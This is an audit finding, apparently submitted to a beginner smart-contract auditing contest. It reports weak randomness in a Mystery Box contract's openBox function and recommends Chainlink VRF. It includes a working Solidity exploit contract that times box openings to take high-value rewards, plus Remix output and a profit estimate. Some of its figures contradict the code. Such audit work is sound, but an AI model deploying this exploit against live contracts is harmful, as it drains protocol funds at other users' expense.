Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: medium
Valid

Bad Randomness leading to rewards manipulation

Summary

The contract contains a vulnerability in its random number generation mechanism, allowing players to predict and manipulate the outcomes of box openings. This vulnerability can be exploited to consistently obtain high-value rewards, undermining the fairness of the system and potentially draining the contract of valuable assets.

Vulnerability Details

The vulnerability exists in the openBox function:

function openBox() public {
require(boxesOwned[msg.sender] > 0, "No boxes to open");
// Generate a random number between 0 and 99
uint256 randomValue = uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender))) % 100;
// Determine the reward based on probability
if (randomValue < 75) {
// 75% chance to get Coal (0-74)
rewardsOwned[msg.sender].push(Reward("Coal", 0 ether));
} else if (randomValue < 95) {
// 20% chance to get Bronze Coin (75-94)
rewardsOwned[msg.sender].push(Reward("Bronze Coin", 0.1 ether));
} else if (randomValue < 99) {
// 4% chance to get Silver Coin (95-98)
rewardsOwned[msg.sender].push(Reward("Silver Coin", 0.5 ether));
} else {
// 1% chance to get Gold Coin (99)
rewardsOwned[msg.sender].push(Reward("Gold Coin", 1 ether));
}
boxesOwned[msg.sender] -= 1;
}

The random number generation relies on block.timestamp and msg.sender, both of which can be predicted or manipulated by players. This allows malicious players to calculate the exact moment when opening a box will result in the highest value rewards.

Impact

  1. The randomness of reward distribution is compromised allowing malicious players to obtain high-value rewards consistently.

  2. The protocol could rapidly lose its high-value assets.

  3. Regular users may lose trust in the system upon discovering the unfair advantage held by exploiters.

Proof Of Concept

A malicious player can create an exploit contract as following:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../MysteryBox.sol";
contract ExploitContract {
MysteryBox public targetContract;
uint256 public constant DESIRED_OUTCOME = 99; // Aiming for the rarest reward
constructor(address _targetContract) {
targetContract = MysteryBox(_targetContract);
}
function buyBoxes(uint256 amount) public payable { // Malicious player can buy an amount of boxes upfront
require(msg.value == targetContract.boxPrice() * amount, "Incorrect ETH sent");
for (uint256 i = 0; i < amount; i++) {
targetContract.buyBox{value: targetContract.boxPrice()}();
}
}
function probeOutcome() public view returns (uint256) {
uint256 randomValue = uint256(keccak256(abi.encodePacked(block.timestamp, address(this)))) % 100;
return randomValue;
}
function openBoxAtRightTime() public {
require(targetContract.boxesOwned(address(this)) > 0, "No boxes to open");
uint256 outcome = probeOutcome();
// Player can choose which reward to aim at by modifying the check. the current check is for all valued rewards avoiding the less valued.
require(outcome == DESIRED_OUTCOME || outcome >= 95, "Not the right time to open");
targetContract.openBox();
}
function getContractRewards() public view returns (MysteryBox.Reward[] memory) {
return targetContract.getRewards();
}
function withdrawRewards() public {
MysteryBox.Reward[] memory rewards = targetContract.getRewards();
for (uint256 i = 0; i < rewards.length; i++) {
targetContract.transferReward(msg.sender, i);
}
}
function withdrawETH() public {
uint256 balance = address(this).balance;
require(balance > 0, "No ETH to withdraw");
(bool success, ) = payable(msg.sender).call{value: balance}("");
require(success, "ETH transfer failed");
}
receive() external payable {}
}

Attack Scenario

Let’s consider the following:

  • Player buys 5 boxes for 0.5 ETH (~$1314.54 at the time of writing this)

  • Gold Coin = 0.5 ether | Silver Coin = 0.25 ether

  1. Attacker deploys the ExploitContract with the address of the target MysteryBox contract.

  2. calls buyBoxes() to purchase 5 mystery boxes. Total spent so far = 0.5 ETH ($1314.54) plus fees to deploy the contract

  3. Repeatedly calls openBoxAtRightTime() until probeOutcome() returns ≥ 95 or 99. This may be Gas inefficient since openBoxAtRightTime() has a while loop, but the gains from the attack will cover the costs and yield profit.

  4. While testing this on Remix, Player was able to obtain 5 Silver coins:

tuple(string,uint256)[]: Silver Coin,500000000000000000,Silver Coin,500000000000000000,Silver Coin,500000000000000000,Silver Coin,500000000000000000,Silver Coin,500000000000000000

The attacker now can withdraw the high-value rewards using withdrawRewards()

Total rewards value = 2.5 ether ~$6572.69

Total profit = 6572 - 1314 = 5,258 (Not including fees)

Tools Used

  • Manual Review

  • Remix IDE

Recommendations

Use a secure source of randomness, such as Chainlink VRF.

https://docs.chain.link/vrf/v2/subscription/examples/get-a-random-number

Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Randomness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!